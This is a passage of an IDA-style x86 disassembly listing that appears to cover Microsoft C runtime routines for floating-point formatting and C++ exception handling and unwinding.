		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43C508
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB310, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB30C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB314, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB30C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB314, ecx
		setl	cl
		mov	byte_4DB318, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB314, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32


loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al


loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------


loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h


loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB310, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB310, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB310, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB310, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------


loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9


loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi


loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2


loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------


loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h


loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax


loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6


loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2


loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB31C
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB320
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2


loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2


loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax


loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A


loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7


loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8


loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------


loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]


loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------


loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx


loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------


loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB324, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC


loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax


loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4


loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------


loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053


loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053


loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053


loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057


loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------


loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax


loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3


loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2


loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510


loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h


loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------


loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]


loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E


loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB31C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB320
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB31C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB320, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]


loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------


loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB31C, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB320, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------


loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
